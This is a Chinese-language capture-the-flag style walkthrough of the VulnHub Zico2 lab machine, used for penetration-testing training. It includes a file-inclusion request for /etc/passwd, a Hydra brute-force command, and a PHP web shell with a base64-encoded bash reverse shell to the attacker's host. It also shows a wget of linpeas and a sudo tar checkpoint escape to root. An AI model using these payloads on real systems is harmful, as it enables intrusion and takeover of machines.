
准备工作
靶机基本信息
靶机名称:
Zico2: 1
操作系统:Linux
网络连接方式:桥接至物理网络
虚拟机软件:VMware Workstation
渗透测试目标:获取靶机root权限并读取Flag文件下载地址:zico2: 1 ~ VulnHub
环境配置
下载后打开VMware Workstation,点击主页上的File => Open按钮,选择zico2.ovf文件即可导入。
信息收集
IP地址发现
在Kali Linux中,使用netdiscover工具进行IP地址发现:
shell
netdiscover -r 192.168.2.0/24

可以看到靶机IP地址为192.168.2.103,但原先的IP地址为192.168.2.102。(这里是因为隔了一个春节假期后再完成的提权部分,IP地址租约到期了)
ICMP检测
知道了靶机的IP地址后,使用ping命令检测攻击机与靶机间连通性:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.102
PING 192.168.2.102 (192.168.2.102) 56(84) bytes of data.
64 bytes from 192.168.2.102: icmp_seq=1 ttl=64 time=0.617 ms
64 bytes from 192.168.2.102: icmp_seq=2 ttl=64 time=0.377 ms
64 bytes from 192.168.2.102: icmp_seq=3 ttl=64 time=0.303 ms
64 bytes from 192.168.2.102: icmp_seq=4 ttl=64 time=0.231 ms
--- 192.168.2.102 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3067ms
rtt min/avg/max/mdev = 0.231/0.382/0.617/0.145 ms
发现攻击机和靶机之间连通性正常,我们使用Nmap进行防火墙探测。
防火墙检测
我们确定攻击机和靶机间连通性正常之后,使用Nmap发送TCP ACK包的方式进行防火墙检测:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# nmap -sA -p- 192.168.2.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 09:10 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.00040s latency).
All 65535 scanned ports on 192.168.2.102 (192.168.2.102) are in ignored states.
Not shown: 65535 unfiltered tcp ports (reset)
MAC Address: 00:0C:29:BC:16:22 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds
但这里我们无法确定防火墙状态,所以直接进行网络端口扫描。
网络端口扫描
我们可以使用Nmap工具对靶机进行开放端口、软件版本、操作系统等方面的探测。
shell
# TCP扫描命令
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.102
# UDP扫描命令
nmap -sC -sU -sA -T4 -oN ./udp_result.txt 192.168.2.102
TCP探测结果如下:

UDP扫描结果如下:

可以看到靶机开放了如下端口:
| 端口 | 传输层协议 | 应用层协议 | 状态 | 详细信息 |
|---|---|---|---|---|
| 22 | TCP | SSH | 开启 | OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) |
| 80 | TCP | HTTP | 开启 | Apache httpd 2.2.22 ((Ubuntu)) |
| 111 | TCP | RPC | 开启 | rpcbind 2-4 (RPC #100000) |
| 123 | UDP | NTP | 开启 | 未知 |
| 58508 | TCP | 未知 | 开启 | 未知 |
同时发现靶机操作系统为Ubuntu Linux,内核版本为Linux 2.6.32 - 3.5。
服务探测
SSH服务(22端口)
我们使用Netcat工具确定端口Banner信息:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# nc -nv 192.168.2.102 22
(UNKNOWN) [192.168.2.102] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.10
NTP服务(123端口)
我们使用Nmap工具对该服务进行漏洞扫描:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 192.168.2.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 10:01 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (secondary server)
| ntp-info:
|_ receive time stamp: 2024-02-05T02:01:06
MAC Address: 00:0C:29:BC:16:22 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.48 seconds
未发现有效信息,于是使用ntpd工具进行信息枚举:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# ntpq -c {readlist,readvar,peers,associations} 192.168.2.102
ntpq: standard-mode lookup of readvar failed, Temporary failure in name resolution
ntpq: standard-mode lookup of peers failed, Temporary failure in name resolution
ntpq: standard-mode lookup of associations failed, Temporary failure in name resolution
***Request timed out
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# ntpd -c {monlist,listpeers,sysinfo} 192.168.2.102
2024-02-05T10:10:20 ntpd[47875]: INIT: ntpd ntpsec-1.2.2: Starting
2024-02-05T10:10:20 ntpd[47875]: INIT: Command line: ntpd -c monlist listpeers sysinfo 192.168.2.102
未枚举出有效信息。
RPC服务(111端口)
我们使用rpcinfo工具枚举RPC服务的详细端口注册信息:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# rpcinfo 192.168.2.102
program version netid address service owner
100000 4 tcp6 ::.0.111 portmapper superuser
100000 3 tcp6 ::.0.111 portmapper superuser
100000 4 udp6 ::.0.111 portmapper superuser
100000 3 udp6 ::.0.111 portmapper superuser
100000 4 tcp 0.0.0.0.0.111 portmapper superuser
100000 3 tcp 0.0.0.0.0.111 portmapper superuser
100000 2 tcp 0.0.0.0.0.111 portmapper superuser
100000 4 udp 0.0.0.0.0.111 portmapper superuser
100000 3 udp 0.0.0.0.0.111 portmapper superuser
100000 2 udp 0.0.0.0.0.111 portmapper superuser
100000 4 local /run/rpcbind.sock portmapper superuser
100000 3 local /run/rpcbind.sock portmapper superuser
100024 1 udp 0.0.0.0.142.183 status 105
100024 1 tcp 0.0.0.0.228.140 status 105
100024 1 udp6 ::.154.48 status 105
100024 1 tcp6 ::.154.246 status 105
结果未发现有效信息。
Web应用程序(80端口)
我们首先使用浏览器打开主页:http://192.168.2.102/

发现主页是一个使用Bootstrap建立的站点,而且似乎是一个静态站。
查看网页源代码,发现了一处可疑的超链接:
html
<aside class="bg-dark">
<div class="container text-center">
<div class="call-to-action">
<h2>Ok... Show me the tools?!</h2>
<a href="/view.php?page=tools.html" class="btn btn-default btn-xl sr-button">Check them out!</a>
</div>
</div>
</aside>
点击该链接之后发现网页并未被重定向至指定页面 (无304包) ,怀疑此处存在文件包含漏洞:

尝试将view.php的GET参数page改为../../../../../etc/passwd ,成功,确定此处存在任意文件包含漏洞:

使用dirsearch工具扫描一下网站目录:

经过一番探查,确定/dbadmin目录为敏感目录,该目录中部署有PHPLiteAdminSQLite数据库管理系统,版本为1.9.3。

通过查询Exploit-DB漏洞数据库,发现该版本PHPLiteAdmin系统存在任意文件写入漏洞,触发步骤如下:
- 登录管理系统之后,在页面上新建一个
<任意文件名>.php名称格式的数据库; - 点击创建的数据库,在数据库管理页面新建一张任意名称的数据表,但其列数必须为
1列; - 在数据表管理界面填入新建行的名称,将该行数据类型修改为
TEXT,在默认值一列填入PHP木马的内容,除此之外其它内容保持原样不变; - 返回主页即可看到新建PHP木马的路径。
我们随即对其进行渗透测试。
渗透测试
PHPLiteAdmin密码爆破
在Kali Linux中,我们使用Hydra工具对其进行密码爆破。首先我们使用BurpSuite工具对登录请求包进行拦截查看,确定路由:

可以看到登录请求共有4个参数:
password:<密码信息>remember:yeslogin:Log+Inproc_login:true
其中password参数为我们输入的密码。这里确定路由之后直接使用hydra爆破:
shell
hydra -f -L /usr/share/wordlists/metasploit/password.lst -p yes -s 80 192.168.2.102 http-post-form "/dbadmin/test_db.php:password=^USER^&remember=^PASS^&login=Log+In&proc_login=true:Incorrect" -t 16
(直接将remember参数设置为密码参数,并指定固定值yes)
最后直接得到密码admin:

直接登录phpLiteAdmin:

写入网页木马
登录管理系统之后,按照前面所讲的方法写入PHP木马。这里作者使用的木马如下:
php
# 将Base64解码之后为反弹Shell命令
<?php system(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC4yLjUwLzEwMDAwIDA+JjEn")); ?>
创建完成之后返回主页,发现木马的路径为:/usr/databases/revshell.php

直接使用前面view.php的文件包含漏洞来执行WebShell:

成功!!!
权限提升
本地信息收集
成功进入系统之后,我们在攻击机的8000端口开启SimpleHTTPServer,上传LinPeas工具进行信息收集:
shell
cd /tmp
wget http://192.168.2.50:8000/linpeas.sh
chmod 700 /tmp/linpeas.sh
/tmp/linpeas.sh
下面展示执行结果:
系统基本信息

系统用户信息

计划任务信息

系统进程列表

特殊权限文件

WordPress配置文件

直接找到了一个登录信息:
- 用户名:
zico - 密码:
sWfCsfJSPV9H3AmQzw8
tar命令提权
将前面获取到的登录凭据用于登录MySQL,发现无法登录,于是将其用于SSH的登录,直接成功:

随后尝试执行sudo -l命令查看能以高权限用户身份执行的命令:

发现zico用户能免密以root用户身份运行如下命令:
/bin/tar/usr/bin/zip
(好啊,又是一台直接白给的靶机)
直接执行如下命令提权:
shell
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
然后就毫无悬念地提权到了root:

成功!!!
直接改密码一条龙服务:
shell
root@zico:~# passwd
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
Flag文件信息
文件名:
flag.txt
文件路径:/root/flag.txt
文件大小:75.00 Bytes
MD5:144605946de0dab526fdc439d08bc24e
SHA256:9419c903360a158544526c0ff01222455dafcbb4e7e041ddda2463d4c0f2ec4e
Flag内容截图:

